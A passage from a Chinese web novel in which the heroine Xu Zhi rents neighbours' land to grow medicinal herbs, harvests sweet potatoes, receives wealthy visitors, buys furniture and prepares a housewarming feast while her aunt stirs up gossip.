而王老太则是回了自己家。 许芷照例拿着半夏讲解该怎么种。 “半夏一窝种的多,三到五株,咱们就种四株,两窝之间间隔三寸,两行间隔约五寸。” 讲完她拿着苗种了一窝,大家一看就会。 剩下的连翘、柴胡和甘草,都是一样的步骤。 她先讲明白,再亲身示范,一下午所有的药苗都种好了。 许芷看着种好的药苗,只觉得日子都有了盼头。 “今天辛苦大家了,三日后剩下的药苗送来,种的也是这些,今日大家都学会了,到时候我便不教了。” “放心吧许丫头,我们都记着呢。” 王三婶笑道。 “是啊小芷,你讲的这么清楚,又亲手示范,学不会的也太笨了。” 王茹娇调皮的说着。 众人回到了山坳,许芷让大家先坐着歇歇。 给每个人都冲了茶饮喝,还拿了点零嘴,让大家先吃吃垫肚子。 趁大家都在,许芷进屋拿出了她早就写好的租地的地契,还有租工的契约。 知道大家不识字,她解释说: “这一份是租地的地契,上面说的很清楚,一亩地租一年是一两银,签下地契后我立刻给大家钱。” 她将手里的地契放下,又拿起了租工的契约说道: “大家帮我种草药我肯定要付大家工钱,我按照一亩地一年五两银子的价格租,大家看看有没有什么问题,都可以说出来,要是觉得还行,就按上手印,你们那存一份,我这留一份。” “不过......”许芷又补充的说道:“这钱得等到卖了药材我才会给。” 听到一亩地一年能挣五两银子,众人纷纷倒吸一口冷气。 这可不是小数目,许多人家种十几亩地,一年到头都可能没有五两银子。 王茹娇震惊的吞口水,满脸为难的对许芷说:“小芷,你别因为觉得大家帮了你,就给我们这么多工钱,可别到时候你自己赔个底朝天,钱都给我们了。” 王三婶也跟着说:“是啊,许丫头,你叔一天干活能挣两钱就不错了,一年到头撑死六七两银子,你这一亩地就给五两,实在是太多了。” “你这孩子还没挣钱呢,就先许诺出去,不得等到赚了钱再说工钱的事。” 徐青云也不赞同的说着。 邓老太在一边早就想开口了,虽然她也不想亏待这三家。 可是这到底能挣多少还不得知,给多少工钱现在说也太早了。 不过徐青云说了,她就不多说话,免得好像是她不舍得一样。 许芷知道药价,更知道这一亩地大概能出多少药材。 按照她粗略的算,明年她至少能到手三千两。 当然这并未扣除成本花费,但是起码净利润一千两是有的。 所以这钱真不算多。 许芷清楚大家都是为她着想,同时也并不了解药材的行情,所以才会这样。 她先是谢了谢大家的关心和好意,继而坚定地说:“我既然敢给大家这个工钱,说明我就一定能办到,还请各位相信我。” 听到这话,众人面面相觑,都不敢先签字。 最后还是张立柱先破冰,说道:“就是,既然我们决定跟着许丫头干,信她就行了!” 说着,立刻在纸上按了手印。 剩余的人见到张立柱都签了,也纷纷跟着签。 签过后,王三婶还不忘开解许芷:“许丫头,今年咱就试试,光那租地的钱已经不少了,你可别压力太大。” “好。”许芷乖巧的应和。 等到大家都签好了,许芷拿好地契和租人的契约,回到屋里。 再出来,她手里拿着该给大家的租金,分发给三家。 第54章 事与愿违 许芷:“这是大家的租金,你们检查下数目。” “嗨呀,检查啥呀,我们还不放心你呀。” 王三婶喜不胜收的说着,拍开了王三叔偷摸想要拿钱的手,放进了自己的袖袋里。 “就是就是,小芷,你也太见外了。” 王茹娇拿到钱立马给嫂子看,还说要跟嫂子去赶集扯布做衣服。 而张立柱拿到钱,立马分出了一半给弟弟。 兄弟俩拿好自己的那一份。 不仅分了钱高兴,又一想按照许芷给的工钱,一年下来将近四五十两。 比得上之前几年的收入,就是做梦都要笑醒了。 分发过工钱,今晚的晚饭,几人说什么都不要许芷他们家出东西做。 一定要让邓老太歇着,他们三家做。 王三婶回家杀了一只鸡,拿过来配着土豆、豆角和粉条炖着吃。 家里刚腌上没几天的酸菜,已经有点酸爽的劲儿了,也拿过来打算烙酸菜饼。 而徐青云拿了家里屯的腊肉和鸡蛋,打算用许芷家菜地的蒜薹炒个腊肉,再炒个韭菜鸡蛋。 张立柱兄弟俩不会做饭,只能趁天还早些,两个人马不停蹄的要去镇上买点现成的回来。 几人都围着许芷家的灶台忙忙碌碌,而这家的主人反而无所事事。 没事干的许芷和祖母两人搬着凳子坐到了柿子树下,喝着茶看落日。 很久没有这样平和宁静的时候了,许芷只觉得格外舒心。 头顶的柿子树因为是移栽的头一年,并未结果。 枝头渐黄的叶片缓缓落下,恰好落在了许芷的头顶。 邓老太看到,笑称:“呀,这可是福气呢,应当许个愿。” 许芷将那片泛黄的叶子拿下来,仔细地看着,不知道在想什么。 “祖母,事总与愿违,还应当许愿吗?” 邓老太闻言扭头看着许芷,她不是头一次在孙女身上看到这种极度深沉的样子,也是孙女之前没有的样子。 这个样子的许芷好像背负了许多不为人知的担子,可她却看不清也不知道到底是什么。 只能抓住许芷的手,温柔的摩挲着,开口道:“小芷,许愿其实不全是为了实现,是为了哄着自己,骗着自己往前走,别回头。 若事与愿违,该往前走还是要走的呀。” 许芷看向祖母,眼神里闪烁着异样的光芒。 “祖母......” 邓老太将孙女抱进怀里,轻柔地摸着她的脸、头发。 “你这孩子,心思太重,这样不好。” 许芷感受着祖母的温度,轻轻的嗯一声。 夕阳给两人镀上一层金光,照的人心里暖洋洋。 过了一会儿,许芷从伤春悲秋的情绪中走了出来。 她开口跟祖母说:“祖母,咱们那地里的红薯和土豆都能扒了吧,该种药材了。” “自然是能了,明日咱们祖孙俩就扒,让你舅舅在房子边上挖一个荫井,把红薯和土豆都窖进去,能放得住。” “好。” 许芷刚回答完,王茹娇就高兴地跑过来叫她们祖孙俩吃饭。 来到饭桌前,满满当当一桌子的菜,看得人口水直流。 除了王三婶和徐青云做的菜之外,张立柱又买了煮好的肘子和二两烧刀子。 许芷又让王茹娇把自己哥哥和娘都叫了过来一起吃饭。 四家热热闹闹的开了席。 期间吃了点酒的王三叔,提起了从前的苦日子甚至落了泪。 一时间大家的情绪都被带了进去。 正当大家都难受着,还是王三叔站起身豪迈的举起酒杯道: “不过那都是从前了,以后咱们的日子定然红红火火,吃饱穿暖!” 这样子又将哀戚的众人拉了出来,男人都举起酒杯,女人举起茶饮,一共说出对生活的美好祈愿。 “那就祝我们日子越过越好!” “干杯!” 豪爽的干了杯中酒和茶水,席面又热闹了起来。 他们还表达了对许芷的感谢,称若不是许芷,怎么能想到会有这种病赚大钱的机会。 许芷性子本就清冷,大家都感谢,搞得她都有些抬不起头。 说不出好听话的许芷,只是简单朴素的保证说:“大家放心,工钱我一定发得出。” 这保证虽简单,但却是大家最朴实的期盼,众人齐声道:“好!” 吃过饭,许芷和祖母送走了众人。 王茹娇悄悄给许芷拉到一边说:“不是说了不给我工钱,我的租钱比他们的高。” “一亩地五两银,那可不是少。” 许芷就知道她要来问自己。 “所以你的租金跟他们一样了,以后你们都是一样的。” 王茹娇一听这满意的笑了。 “对,就应该这样。” 得到了自己想要的答案,王茹娇赶紧跟上已经走远了的家人回家。 祖母晚上高兴,也喝了一点酒,这会儿走路都有些晃。 许芷扶着祖母,邓老太放心的将自己的重量都放在孙女的身上。 月影下,两人的身影虽单薄,但并不孤寂。 “小芷?” 邓老太突然开口。 “嗯。”许芷随意的应一声,只当是祖母吃醉了酒,要叫叫自己。 “你不是梅子的小指儿,对不对?” 话音落下,许芷僵在原地,她猛然看向好似不清醒的祖母。 邓老太不用看都知道许芷有点诧异,继续道: “不管你是谁家的,如今到了我家,我一定好好待你,就是觉得对不起小指儿,不知道她有没有人好好对待。” 许芷听着祖母对她们两个人的惦念和絮叨回了屋。 祖母躺下很快便睡着了,徒留许芷心绪复杂。 她不知道祖母是什么时候发现的,可她确定一定是很早的时候。 许芷今夜也想到了自己的家人,他们还好吗? 这是她死的第十年,父母是不是早就习惯了她已经去世这件事,哥哥是不是早已娶妻生子。 这样也好,她并不希望家人一直沉浸在自己死去的悲痛中。 那自己是有个侄儿还是侄女,又或是都有。 哥哥做了丈夫和父亲,是否沉稳了许多。 有了孙子孙女承欢膝下,父亲母亲是不是尽享天伦之乐。 想着想着,她的眼泪如断了线的珍珠一般,不断掉落,隐没在枕头。 第55章 红薯丸子 第二日,早上一家三口正在吃饭。 邓老太喝着疙瘩汤,突然“嘶”一声。 许芷忙问:“怎么了祖母?” “昨日不该高兴贪那杯酒,今早起来还有些头疼。” 邓老太后悔的说道,她这个年纪,稍微有点头疼脑热的,就受不住。 许芷拿出了一罐药膏,蒯一勺冲水,放在祖母的手边。 “祖母,喝这个,喝了会好一点。” 邓老太端起,吹着一点一点喝着。 许芷看祖母不舒服,寻思让祖母今天躺着好好休息休息。 “祖母,你今日就躺着休息,我自己去弄红薯和土豆就行。” 邓耧子听到说自己也干,不让邓老太干活。 邓老太喝完了最后一口药膏水,放下碗摆摆手说: “那不行,你有你的活,你得挖个荫井出来,土豆和红薯弄出来要窖起来。” 许芷还想劝祖母多躺躺休息,但是祖母说她一个人一天弄不完两亩地,非要干活。 两个人谁也不让谁,正僵持着,王三婶和王茹娇过来了。 她们两个人自然是听到了许芷跟祖母的争执,王三婶故作玩笑的说道: “哎呦老大姐,你得服老啊,孙女孝顺不让你去地里忙活,你怎么还非要去呢?” “婶子,你就听小芷的吧,我跟三婶帮着小芷弄。” 王茹娇也开口道。 听到王茹娇的话,许芷松了口气。 祖母太倔强了,她知道祖母是心疼自己,但是身体更重要。 如此邓老太没理由再坚持,就听许芷的吃过饭就躺下休息去了。 而许芷她们三人去了地里。 “扒了红薯,今晚我们做红薯丸子吃吧,还能煮一锅香甜的红薯稀饭。 还有刚扒出来的土豆蒸了吃可香了,要是有小土豆,还能放锅里煎一煎撒点料也好好吃。” 听着王茹娇喋喋不休的话语,王三婶笑出了声,忍不住说道:“娇娇,红薯还没挖呢,口水先收一收。” 王茹娇不好意思的嘿嘿一笑,“这不是说闲话嘛。” 说话间,三人已经到了红薯地。 王三婶拿着铁锨说:“我挖,娇娇和小芷你俩拣,拣满一筐你俩换着往家里运啊。” 说完,王三婶利索的走到一株红薯面前,先将红薯秧子扯到一边,看看红薯的情况。 然后用铁锨围着红薯前后左右各扎进去一下,扎进去的时候脚踩着铁锨往上挑一下,这样四下过后埋在土里的红薯就松动出来了。 铁锨扎进去的时候,还要当心不能离看到的红薯太近,要不然可能会扎到藏在土里的红薯。 “小芷,你家这红薯长得不错啊。” 看着挖出来个大饱满的红薯,王三婶说道。 许芷正在翻秧,听到王三婶的话,直起腰转过头“嗯”了一声,就又继续弯腰忙着翻秧。 她刚刚看到王三婶刨红薯之前,先翻秧,她想着把所有的秧都翻完了,王三婶就不用再弯腰弄了。 翻秧快得很,许芷翻完,王三婶才刨了没多少。 而王茹娇已经回去送一筐红薯了。 许芷走过去,想要接住王三婶的铁锨。 “三奶奶让我来吧,您歇会儿。” 王三婶躲开,脸不红也不喘的说道:“嗐,这累啥啊,庄稼人天天干的都是这点活。 真正累的是一趟趟往家里背红薯,我故意留给你俩干。” 说完还特意冲许芷挤眉弄眼的,许芷被她这样子逗笑了。 既然都这么说了,她也就不坚持了,转身去后面帮王茹娇捡红薯。 拣满一筐之后,许芷让王茹娇把捡完的红薯秧子扔到地边,而她背着红薯回去。 一上午的时间,三个人竟然弄完了一亩地。 这比许芷想象的快多了。 主要是后面红薯都刨出来完了,只剩下往家里背,三个人都背就快了很多。 而在家中的邓老太也没闲着,她就躺了一会儿,许芷甚至都怀疑她根本没睡着。 起来后邓老太坐在河边洗红薯,洗完之后挑了十几个带皮上锅蒸。 又挑了五六个个大的红薯,削了皮切成块也放进锅里蒸。 打算蒸熟碾碎放上糖和面,炸红薯丸子吃。 许芷她们干完回来的时候,油锅已经支上了,都已经炸了一锅分给盖房子的工人吃。 正好趁上第二锅,王茹娇气喘吁吁地回来闻到这香味,瞬间生龙活虎。 “呀,婶子,你炸了红薯丸子呀!” 说着伸出手就要去拿着吃,快拿住的时候被许芷拦腰带到了河边。 王茹娇幽怨的看着许芷:“小芷!那香喷喷的红薯丸子马上就进我嘴啦!” 许芷面无表情的嗯了一声,将手里的皂儿膏给她。 “看看你手指甲缝儿里的泥,还能吃的下吗?” 王茹娇这才想起自己拣红薯,拣了两手的土。 悻悻的用皂儿膏仔仔细细的洗了手,沫子洗干净,兴冲冲的赶紧跑过去吃红薯丸子。 “小芷,快来吃,又甜又香!” 许芷洗过脸,没有着急去吃红薯丸子,而是先给她们三个一人冲了碗茶饮。 她端着碗递给了王三婶的时候,王三婶正准备拿个碗去舀点缸里的水,先解解渴再说。 许芷这茶饮来的真及时,她接过一口便喝完了,又续了一碗才好。 喝过茶水,许芷吃了蒸好的红薯和炸的红薯丸子。 吃饱后,她拿着耙子去红薯地里深耕了一番,不仅找了一些藏得深的红薯,还把地耙的松软。 就是累的她的腰都要直不起来了,耙地也是个力气活。 回去的时候,邓耧子的荫井挖的差不多,等着干燥一晚,红薯明天就能装进去。 许芷特意看了一下,其实就是地窖,用来保存食物,延缓食物腐败的。 只是这边的人习惯叫荫井,也叫红薯窑子。 听说这个荫井能保护红薯一整个冬天都没事。 就剩下半亩地的土豆,许芷没再让王三婶和王茹娇帮忙。 弄完荫井的邓耧子和许芷两个人去把土豆刨了出来。 土豆都弄完后,邓耧子又赶着太阳下山前将地深耕过,为种草药做准备。 还好这地因为在山坳里,平时落叶就多,也不用再撒落叶沤肥了。 一天时间就把地收拾好,许芷才松了口气。 本来还怕药苗都运来了,地还没收拾好,现在就不用担心了。 第56章 讨口水喝 晚上吃过饭,许芷还把家里的红薯和土豆分了些给王三婶和王茹娇。 人家今天帮忙出了力,自己应当给人家点东西。 两天后,许芷早上吃过早饭就等在了村口,怕送药苗的来了不知道往哪走。 没等一会儿,王茹娇也过来寻她,听她说在这等送药苗的人。 王茹娇也要在这陪着她等。 不过一刻,许芷就看到了送药苗的车队。 王茹娇看到蹦蹦跳跳的冲车队招手。 意外的是,郭员外也来了。 “许姑娘,我来给你送药苗。” 郭少安异常热情,让许芷有些无所适从。 就她买的这点药苗量,还值得郭员外亲自来送? 许芷很是讶异,但还是客气的迎接对方。 拉着药苗的车队后面,还有一辆奢华无比的马车,许芷心想郭少安果然是有钱人,马车都如此豪华。 只是等那辆马车走近了些,她才看清上面怀清堂的标识。 王茹娇偷偷凑到她耳边问:“怀清堂的人来干啥?” 许芷盯着那马车,缓缓摇了摇头。 接着看到一把折扇从里面伸出掀开帘子,那身穿月牙色衣裳的男人下了车,眼神似笑非笑,望向她这边。 许芷看不清他的眼神,到底只是再往这边望,还是落在了她的身上。 但不管是哪种,都令她有些无措。 而三七已经跑到了她的身边。 “许姑娘,好久不见。” “三天......” 许芷尽力放大脸上的笑容,让自己看起来礼貌一点。 她本是想着药苗来了,直接拉进地里,卸完就能直接种。 可眼前的情况显然不允许,无奈,她只能把郭员外和宋清奕请进家里做客。 “郭员外长途劳累,要不要去家中喝杯茶?” “甚好甚好。” 郭员外一听立刻同意,眼神看着许芷示意她带路。 她让王茹娇带着车队先去地里卸药苗,让他们卸完先种着,她尽快过来。 许芷尽力维持着镇定走在前面带路,可手无意识的放在了侧面的短刀上,大拇指有一下没一下的刮蹭着刀柄。 身后的宋清奕眼神幽深,直勾勾的盯着许芷手上的小动作。 若是仔细看,能发现他垂在身侧的手在微微颤抖。 很快到了山坳,两人都没想到许芷家里是这样的。 除了睡觉的地方,其他的都是露天的。 不过,好在已经在盖房子了。 许芷礼貌地将人请进来坐下,“请稍等,我给各位端茶。” “好。” 郭员外和三七异口同声。 邓老太看着这两位身穿华服的人,不敢上前。 问一边烧水的许芷:“小指儿啊,这都是谁啊。” “白色衣裳的是怀清堂的东家,紫色衣衫的是我这次买药苗的东家。” 说完邓老太疑惑不已,“他们来咱家是?” “讨口水喝。” 许芷回答的格外淡定和简单。 虽然邓老太有些不敢跟这些人接触,但是想到这都是帮助自己孙女弄药田卖草药的,所以她特意弄了盘瓜子、一盘红薯丸子、一盘糕饼和一盘蜜枣。 “我家过于简陋,让你们见笑了,一路上累了吧,吃点东西垫垫。” 三七开朗得很,捏起一个红薯丸子丢进嘴里,摆摆手跟邓老太说: “没有没有婆婆,我小时候跟爷爷奶奶也住过窑洞,您太客气啦。” 郭员外也是礼貌地笑一笑,抓了把瓜子磕起来。 只有宋清奕,始终保持的淡淡的笑容,不说话也不吃东西。 看起来像是个好说话的,用邓老太的话就是,长得像是个软面团子。 许芷冲好了三碗茶,又冲了一壶。 喝完了随时能续上。 她走过来,给三个人分了茶水:“家里没有茶叶,只有些别人送的茶饮,还望海涵,这是乌梅山楂饮,喝起来生津可口,可以试试。” 三七和郭员外确实渴了,两个人咕咚咕咚喝完了一碗,许芷很有眼力见的又给两人续上。 一时四人沉默无言,谁也没有先说话,只有郭员外和三七吃东西的声音格外明显。 正当许芷考虑着要不要委婉把人劝走,三七开口问道:“许姑娘,你家这房子要盖到啥时候?” “昨天问过舅舅,这个月月底就能盖好。” 许芷的食指绕着茶碗边打转,漫不经心的回道。 三七什么都能聊得起来,又问起了许芷舅舅的事情。 许芷有一句没一句的答着,也算是没那么难熬。 其实她能察觉得到,那道月牙白的视线一直在自己身上打转。 她甚至都想问问他是不是看出来她是谁,可是这怎么可能呢? 她现在完全就是另外一个人的样子,年龄相貌都不是原来的自己。 他怎么可能认得出来。 许芷微不可查的叹了口气,正想着怎么委婉的问他们什么时候离开。 这时一直没开口的宋清奕突然开口:“走吧。” 三七正往嘴里塞蜜枣:“走?” 他一时没反应过来。 宋清奕已经起身往外走着,三七赶紧跟了上去。 而郭员外又喝了一碗茶,拿了两个红薯丸子才也跟上。 许芷作为主人,自然要起身送客。 她瞬间松了口气,还好宋清奕主动说了走,要不然让她委婉的问还真是折磨。 许芷一直把人送到了村子口,药苗都已经卸完了,车队也都等在了村口。 宋清奕头也不回的上了马车,三七跟许芷道了别也上了车离开。 郭员外很是和善,“许姑娘,下次还要来我这买药苗啊,你放心,上次的情况绝对不会再出现了,也多亏了姑娘你,要不然郭某家中真要酿成大祸。” “买药苗的事自然可以,只是其他的事我也没做什么,主要还是员外您刚正不阿、大公无私。” 许芷这话不假,她不认为那件事自己有做什么。 最主要的是郭员外是个好人,就算是自己的儿女也不偏私,实在是个奉公守法的人。 “许姑娘谦虚了,那郭某就先告辞了。” 说完,郭员外上车便离开了。 许芷看着车走远了,才松了劲儿,转头去地里看看。 她走到地里的时候,他们三家人都在王茹娇家的地里在忙着种草药了。 他们还是决定一起种,而不是自己种自己家的地,大家齐心协力这样种的快。 许芷先是看过他们种上的药苗没什么问题,然后下地也干起活。 因为他们都是两个人一组种药苗,许芷一个人,所以她拿过水桶去打水过来给刚种下去的药苗浇水。 第57章 梳妆台子 这些药苗一连种了四天才全部种完。 种完之后,许芷站在地头看着种下的药苗,感受着凌冽的秋风刮在脸上。 她并不觉得冷,反而吹散了眼底的一些忧愁,脑中的一切也更加的清明。 王茹娇扶着自己这些天几乎没直起来的腰,走到她身边感慨道:“终于种完了,我要好好休息休息。” 许芷闻言脸上浮现淡淡的笑意,下巴朝药田努了下。 “你好好休息,这药田种下去只是开始,后面可有你忙的,除草、浇水、除害、养肥,多的是事情。” 王茹娇一听,瞬间如临大敌的嚎叫出声。 “啊?唉,挣钱真是不容易。” “种地本就不易,种什么都一样。” 许芷没什么情绪的说着,眼里都是她的药苗。 王茹娇转移话题的问道:“你家房子这几天就盖好了吧,房子盖好都要摆几桌的,你家摆不摆?” 许芷想了一下,觉得有必要摆一下。 房子盖好了,药田也开始了。 今年这两件大事算是彻底有了着落,许芷觉得有必要庆祝一下。 而且盖房子和种药苗,都离不开大家的帮助,摆两桌也算是答谢大家。 也不多请人,就打上他们这四家的底,村里人应该没人来吃,可以多准备一两家的量。 许芷觉得里正听说应当是会来的。 她吐出一口气,郑重地说道:“摆,摆上你们都来,咱们好好热闹热闹。” 王茹娇听说有席吃,瞬间喜笑颜开。 “成!” 事不宜迟,许芷回去就跟祖母说了自己想房子盖好住进去那天摆两桌。 邓老太点点头道:“应该的,摆上热闹,也能暖房。” 说住之后,许芷跟祖母决定等家具都进了家里,她就去城里卖肉买食材回来做了摆几桌。 正好这两天做的所有家具都好了,许芷要去做家具那家看看。 那家在他们隔壁村子,不过不是上坪村,是另外的方向,叫高羊村。 因为是舅舅介绍的人,所以许芷跟舅舅一起过去看。 王茹娇听说了也要跟着一起去,三个人吃过中饭就上了路。 只是许芷没想到会在高羊村遇到了宋清奕。 遇上的时候,她看到宋清奕刚从一家农户的院子里出来。 宋清奕弯腰上马车的瞬间,两人四目相对。 许芷想着就算没有从前的事情,如今他既是自己未来生意上的东家,这几面下来也算是相熟之人。 自然没有无视而过的道理。 如此,她淡然一笑远远的颔首,而宋清奕上马车的动作愣住一瞬。 下一刻他的唇角勾起,微微颔首过便进了马车。 马车从她身边疾驰而过,她透过晃动的窗帘看到了宋清奕温顺的面庞,他合着眼正在休息。 不过这一眼稍纵即逝,马车很快便离开,只余飞扬的尘土模糊了视线。 “小芷,看啥呢?赶紧走啊。” 王茹娇的声音拉回许芷的思绪,转过头赶紧跟了上去。 路过哪家农户的时候,许芷下意识的往里看了一眼。 屋顶的滚滚浓烟和院子里的窑炉,都说明这家是做瓷器的。 她不明白,烧瓷的人家千千万,像他这样的身份,应当去更有名望的官窑,怎么会来了个村里的人家。 许芷倒不是觉得这户人家手艺一定差,只是就像是吃惯了私厨和酒楼的人,应当是不会去路边小摊。 所以她状似随意的问舅舅:“高羊村里竟还有位烧瓷的匠人?” 邓耧子奇怪的看了她一眼,许芷还以为他是奇怪自己怎么突然问这个。 故而特意多说一句:“我寻思新家总得买点新的盘子碗碟什么的吗,这里若是有正好买点回去。” 但是邓耧子还没开口,王茹娇先说话,她震惊道:“你居然不知道?” “嗯?” 许芷更好奇了。 “这家烧瓷的老爷爷是十年前突然来到高羊村的,谁也不知道他的来历,只知道他的手艺顶好。 就是他烧的瓷器不便宜,来买的大多都是寻名而来的贵胄人家。” 王茹娇说着还甚是不解。 “要说这位手艺人也赚了不少钱,可偏偏就守着这破房子,平日里深居简出,好生奇怪,害的那些个富贵人家都得大老远来找他做瓷器。” 许芷若有所思的点了点头,没在多问什么。 而王茹娇还在一旁诚心建议:“所以你可别来他这里买东西,不是咱们能买的起的。” 许芷笑了笑,说自己知道了。 三人很快就到了做家具的那家。 邓耧子一进去就跟那匠人聊起来,一阵寒暄之后才说了来看家具的事情。 那人将他们三人领到了后院,进了一间大仓房。 里面摆着各种各样的家具。 他指了指最里面那一套。 “这就是你们要的,看看还合心不?” 许芷这次定下的家具主要有两张床、两个衣箱、一张八仙桌配了四张条凳。 还有三张矮桌,两张是往床上放的,一张打算放在柿子树下。 还打了张摇椅,许芷看祖母总喜欢坐在柿子树下乘凉或打发时间。 所以她特意让人家做了这椅子,就是为了让祖母能舒服些。 还让人做了面盆架,这样净手洗面都方便些。 要不然不管是蹲下还是弯腰,对祖母来说都有些费劲。 为了让祖母能松快些,她还特意让人做的时候抬高了些。 除此之外,许芷还看到了一张梳妆台,她不记得自己有定做这个。 转头问匠人,这是怎么回事? 匠人没说话,反而是邓耧子开口解释说:“小芷,这梳妆台是舅舅特意送你的。” 其实当初来定家具的时候,是她跟祖母一起来的。 当时祖母就想着让她要一个梳妆台,但是许芷觉得没必要,她也没什么首饰,也不拘什么发式。 故而没要,没想到舅舅给自己做了一张。 虽然觉得用不上,但是这是舅舅的心意,而且已经做出来。 自己只用感谢舅舅就行了,多余的话不用说。 “那小芷就谢过舅舅。” “嗐,咱都一家人,谢什么呀。” 邓耧子不在意的说着。 看过家具没什么问题,三人就准备回家。 第58章 头晕目眩 高羊村离镇上近些,既然出来一次,王茹娇提议要不要去镇上转转。 虽然比不得城里东西齐全,但是起码能买到需要的东西 邓耧子没啥意见,只要她俩去,他就行。 许芷笑称王茹娇是想去镇上买点什么零嘴,卖货郎有一阵儿没来了。 王茹娇害羞一笑,躲在许芷的身后,扭捏的说道:“小芷,你就莫要取笑我了。” 许芷拉着王茹娇的衣袖,把人带出来,温声道:“并未取笑你,既然都出来了,那就去转转。” 正好她也想去看看给家里添置点什么。 三人走了将近半个时辰就到了镇上。 王茹娇来到镇上简直是如鱼得水,买了不少的零嘴吃。 许芷本想着买些竹制的用具,只是去看过却发现那些东西,自己的乾坤屋里都有。 她乾坤屋里没有的,又想要的,这里也没有。 转了一圈竟什么都没买,她心中盘算着还是得什么时候去城里一趟。 不过她看到了卖米花的小摊,给祖母买了袋米花回去吃。 米花并不是花,而是把大米装进了寒具,滚动加热到一定程度,米就会炸出来。 原本小小的米粒,就会变大,成了蓬松香脆的零嘴。 除此之外,她看着又买了一些菜和肉,逛得差不多三人才回去。 回去的时候,太阳已经下了山。 王茹娇就没往山坳里进,直接回了自己家。 许芷到家的时候,祖母刚好把饭做好。 因为有了红薯的缘故,最近晚上喝的都是红薯饭,吃的馒头都换成了蒸红薯,又炒了土豆丝和韭菜鸡蛋炒粉条。 邓耧子看到这饭,有些头疼的说道:“娘,我不想吃蒸红薯,我想吃卷馍,这土豆丝和炒粉条,往馍里一卷多合适。” 邓老太瞪他一眼,“做啥吃啥。” 许芷吃这些倒是没什么,就是这红薯吃多了,晚上祖母睡着了老...... 自己最近睡得很一般,早上起来甚至有些头晕目眩。 所以她也开口道:“祖母,吃了好几天红薯了,真想吃馍。” 听到外孙女这么说,邓老太笑着说:“行,明日我就给你蒸包子,蒸馍吃。” “好。” 得了祖母的准信,许芷坐下开始吃饭。 过了几日,又是城里集的日子。 这次许芷和祖母、舅舅一起去了城里,今天去要买不少的肉和菜,还有新家需要的东西。 其实许芷倒是能把东西都放进自己的乾坤屋里,但是祖母知道她今日去要买席上用的东西。 她也没法解释,就只好三个人一起去城里。 因为要买肉,所以他们去的很早,怕去晚了想要的肉就没有了。 到了肉铺,许芷买了十斤排骨、二十斤后臀肉,猪肝和大肠也买了一些。 除了猪肉,还买了两只杀好的鸡,五斤羊肉和牛肉。 转过头到菜摊买了十颗大白菜,家里种了倒是,只是他们的大白菜才开始包心,还没到吃的时候。 还买了七八根白萝卜,买之前那人还让许芷尝了尝。 这白萝卜没什么辣气,吃到嘴里脆生鲜甜,当水果吃都行。 当即买了些,回去清炖羊肉最好。 又买了些茄子、红薯粉条、豆芽和一大块豆腐。 添了些姜、红葱和一些调味的大料。 还遇到了一个专门做酱菜的小摊,买了些腌萝卜条和酸菜。 这小摊上还有自己晒得干菜,许芷看了看不知道要些啥。 邓老太看到买了一把干豆角,说这个炖小鸡里好吃的很。 买过这些,许芷的和舅舅的背篓其实已经装满了。 许芷为了买后面的东西,在放的时候,偷偷地将一部分转移到了乾坤屋里,如此这样看着还有些空档。 买完这些吃的,他们去了一家杂货铺子,多买了些碗筷和盘子。 又看着买了些需要的竹制用品,逛了大半天才要回去。 回去前,许芷去了趟怀清堂。 她的钱虽然还有,但是毕竟那药田明年才能卖出去见钱,做药丸的工还是要继续。 她到了怀清堂,柜台前的小厮换了个人,杜仲不知道去了哪。 许芷跟这个小厮说了要继续回来做药丸的事情,那小厮不太知道情况,只得让许芷在这等着,他去里面问下刘管事。 不消一会儿,那小厮就问好出来了,说管事的说了,她今日就能带回去做。 正好店里有一大批药丸等着做。 许芷闻言去了后院,找到三七拿了要做的药粉,藏进了乾坤屋里,跟祖母和舅舅回了家。 家里的房子已经盖好,只剩把家具东西都收拾好搬进去。 因为祖母还想住在窑洞里,所以这房子特意开了个侧门,盖了个小连廊直通窑洞。 原本给祖母住的那间房,放了张床进去,简单的收拾了一下,让舅舅没事来住。 许芷的房间不变,厨房就趁着垒好的灶台盖的。 三人将所有的东西都拿进了新房,今晚已经不早了。 故而只把床好好收拾了一下,明天起来再好好地整理收拾。 晚上,邓老太简单的做了汤面,一人一碗吃完浑身热乎乎的睡下。 第二天许芷起来的时候,邓老太已经在收拾屋子里。 屋里里里外外已经洒扫过,现下在上上下下的擦洗。 看到孙女起床了。 邓老太让她赶紧洗洗吃饭。 许芷没想到祖母一大早起来不仅收拾了半天,连饭都做好了。 她明明没有醒的很晚啊。 许芷不知道的是,祖母昨晚一想到这把年纪还能有新房,就高兴的睡不着。 心情久久不能平静,好不容易睡着,早上醒的比鸡还早。 一醒来没什么事的祖母,就开始干活做饭。 等到吃过饭,许芷和祖母一起将屋里好好归置收拾。 收拾完了之后,看着新房,两个人都感慨万千。 乔迁宴她们俩就定在了三日后。 刚定下,许芷去了村里,跟王茹娇他们说,邀请他们来参加。 她还特意去了里正家里邀请他,里正一听满口答应下来。 而这个消息也在村子里传开,王素娟一出门就少不了人阴阳怪气自己。 她气不过跟人吵了好几场架。 第59章 扫地出门 回到家,王素娟仍旧不爽,跟邓栓子怒骂这个许芷有新房就算了,办什么乔迁宴,如此铺张浪费,真是恨人。 “你看看你这外甥女,我真是上辈子欠了她的,从她盖那破房子开始,多少人对我明嘲暗讽的。 明明你才是她亲舅舅,怎么没人说到你脸上,净来我这添什么堵!” 王素娟气的指着邓栓子鼻子骂。 “你们这姓邓的没一个好东西,净欺负我这外姓人!” 邓栓子听她哭嚎听的头疼烦躁,不耐烦地“哎呀”一声,“谁让你天天好出去,你要是老老实实在家里,谁还能摸上门来戳你脊梁骨?” 听闻这话,王素娟被气得直抽抽。 一拳头砸到邓栓子的心口,控诉道:“你还有没有良心!我出去干啥啊,还不是去地里干活去,不都是为了这个家。” 被打疼了的邓栓子猛地站起来,吹胡子瞪眼的作势要打王素娟。 王素娟也不是吃素的,她昂起头丝毫不怕的吼道:“你打你打!你往我身上打!” 看着妻子这么硬气,邓栓子气的直瞪眼,却下不去手。 他重坐下,没好气的说道:“咱就是舅舅舅母,那许丫头还有亲爹后母呢,要真是被戳脊梁骨,不该是那两口子? 别忘了许丫头的户头还在那边呢,” 王素娟一听,心想就是啊,自己就是个舅母,凭什么天天被说。 该难受该被嘲讽的人在上坪村呢。 想到这她眼珠子一转,转头去了刘家。 恰好今日,刘家在上坪村当媳妇儿的女儿回来了,家里本就在说许芷盖房的事。 看到王素娟来了,更是忍不住打听。 王素娟添油加醋的将这件事说了出去,只盼着这刘家姑娘赶紧回婆家,叫那两口子知道。 